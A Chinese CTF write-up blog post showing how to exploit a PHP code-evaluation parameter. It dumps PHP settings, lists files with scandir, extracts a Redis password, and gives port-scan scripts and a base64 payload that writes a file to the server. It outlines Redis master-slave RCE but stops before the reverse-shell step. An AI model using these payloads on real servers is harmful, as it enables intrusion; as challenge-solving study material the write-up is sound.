["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(7) } ["session.gc_divisor"]=> array(3) { ["global_value"]=> string(4) "1000" ["local_value"]=> string(4) "1000" ["access"]=> int(7) } ["session.gc_maxlifetime"]=> array(3) { ["global_value"]=> string(4) "1440" ["local_value"]=> string(4) "1440" ["access"]=> int(7) } ["session.gc_probability"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["session.lazy_write"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["session.name"]=> array(3) { ["global_value"]=> string(9) "PHPSESSID" ["local_value"]=> string(9) "PHPSESSID" ["access"]=> int(7) } ["session.referer_check"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["session.save_handler"]=> array(3) { ["global_value"]=> string(5) "files" ["local_value"]=> string(5) "files" ["access"]=> int(7) } ["session.save_path"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["session.serialize_handler"]=> array(3) { ["global_value"]=> string(3) "php" ["local_value"]=> string(3) "php" ["access"]=> int(7) } ["session.sid_bits_per_character"]=> array(3) { ["global_value"]=> string(1) "5" ["local_value"]=> string(1) "5" ["access"]=> int(7) } ["session.sid_length"]=> array(3) { ["global_value"]=> string(2) "26" ["local_value"]=> string(2) "26" ["access"]=> int(7) } ["session.trans_sid_hosts"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["session.trans_sid_tags"]=> array(3) { ["global_value"]=> string(32) "a=href,area=href,frame=src,form=" ["local_value"]=> string(32) "a=href,area=href,frame=src,form=" ["access"]=> int(7) } ["session.upload_progress.cleanup"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(2) } ["session.upload_progress.enabled"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(2) } ["session.upload_progress.freq"]=> array(3) { ["global_value"]=> string(2) "1%" ["local_value"]=> string(2) "1%" ["access"]=> int(2) } ["session.upload_progress.min_freq"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(2) } ["session.upload_progress.name"]=> array(3) { ["global_value"]=> string(27) "PHP_SESSION_UPLOAD_PROGRESS" ["local_value"]=> string(27) "PHP_SESSION_UPLOAD_PROGRESS" ["access"]=> int(2) } ["session.upload_progress.prefix"]=> array(3) { ["global_value"]=> string(16) "upload_progress_" ["local_value"]=> string(16) "upload_progress_" ["access"]=> int(2) } ["session.use_cookies"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["session.use_only_cookies"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["session.use_strict_mode"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(7) } ["session.use_trans_sid"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(7) } ["short_open_tag"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(6) } ["SMTP"]=> array(3) { ["global_value"]=> string(9) "localhost" ["local_value"]=> string(9) "localhost" ["access"]=> int(7) } ["smtp_port"]=> array(3) { ["global_value"]=> string(2) "25" ["local_value"]=> string(2) "25" ["access"]=> int(7) } ["sqlite3.defensive"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(4) } ["sqlite3.extension_dir"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(4) } ["sys_temp_dir"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(4) } ["track_errors"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(7) } ["unserialize_callback_func"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["upload_max_filesize"]=> array(3) { ["global_value"]=> string(2) "2M" ["local_value"]=> string(2) "2M" ["access"]=> int(6) } ["upload_tmp_dir"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(4) } ["url_rewriter.hosts"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["url_rewriter.tags"]=> array(3) { ["global_value"]=> string(5) "form=" ["local_value"]=> string(5) "form=" ["access"]=> int(7) } ["user_agent"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(7) } ["user_dir"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(4) } ["user_ini.cache_ttl"]=> array(3) { ["global_value"]=> string(3) "300" ["local_value"]=> string(3) "300" ["access"]=> int(4) } ["user_ini.filename"]=> array(3) { ["global_value"]=> string(9) ".user.ini" ["local_value"]=> string(9) ".user.ini" ["access"]=> int(4) } ["variables_order"]=> array(3) { ["global_value"]=> string(4) "GPCS" ["local_value"]=> string(4) "GPCS" ["access"]=> int(6) } ["xbithack"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(7) } ["xmlrpc_error_number"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(7) } ["xmlrpc_errors"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(4) } ["zend.assertions"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["zend.detect_unicode"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["zend.enable_gc"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["zend.multibyte"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(2) } ["zend.script_encoding"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(7) } ["zend.signal_check"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(4) } ["zlib.output_compression"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["zlib.output_compression_level"]=> array(3) { ["global_value"]=> string(2) "-1" ["local_value"]=> string(2) "-1" ["access"]=> int(7) } ["zlib.output_handler"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } } 

主要看disable_functions/disable_class/open_basedir中的信息
使⽤ scandir() 来探测⽬录⽂件发现存在⼀个 secret.rdb ⽂件,构造payload(注意括号里面的.要用双引号或者单引号括起来,感谢桥桥的援助)

/?exp=var_dump(scandir('.'))
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(10) "secret.rdb" } 

可以直接输出出来,构造

/?exp=var_dump(highlight_file(end(scandir('.'))));
得到: REDIS0008�    redis-ver4.0.9�
redis-bits�@�ctime³��a�used-mem€��aof-preamble���sercetye_w4nt_a_gir1fri3nd��nR�K��S bool(true) 

可以将文件下载下来,用redis-rdb-tools去解析。
可以猜测redis的auth为 ye_w4nt_a_gir1fri3nd,然后就是端⼝扫描寻找redis端⼝的操作,有脚本(官方WP)

for($i=0;$i<10000;$i++) {
  $t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
  if($ee2 === "Address already in use") {
    var_dump($i);
  }
}

桥桥博客还有一个脚本

for($i=0;$i<10000;$i++) {
  $t=file_get_contents('http://127.0.0.1:'.$i);
  if(!strpos(error_get_last()['message'], "Connection refused")) {
    var_dump($i);
  }
}

最后,构造payload

/?exp=eval(file_put_contents("1.php",base64_decode($_POST['a'])));
POST:
a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==

访问/1.php,发现80和8888端口可用
其实按照常规思路是可以利⽤蚁剑等⼯具直接连接redis来实现主从复制RCE的,但是分析⼀下蚁剑的流量可以发现蚁剑是利⽤ stream_get_contents() 来实现redis连接交互的,这⾥ban了这个函数,所以需要寻找其他的⽅法来和redis交互。利⽤ get_loaded_extensions() 可以看到PHP加载的插件,从中可以看到题⽬环境中加载了PHP的redis插件(redis.so),翻找⼀下⽂档可以找到这个插件的Redis类中有 rawCommand() ⽅法可以执⾏redis的命令操作。
要素⻬全,可以实现redis主从复制RCE,先利⽤ file_put_contents() 来写⼊⼀个redis主从复制RCE的so⽂件,
接下来就是构造⼀个反弹Shell的Payload:

先咕咕了,等学一学redis再来填坑


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !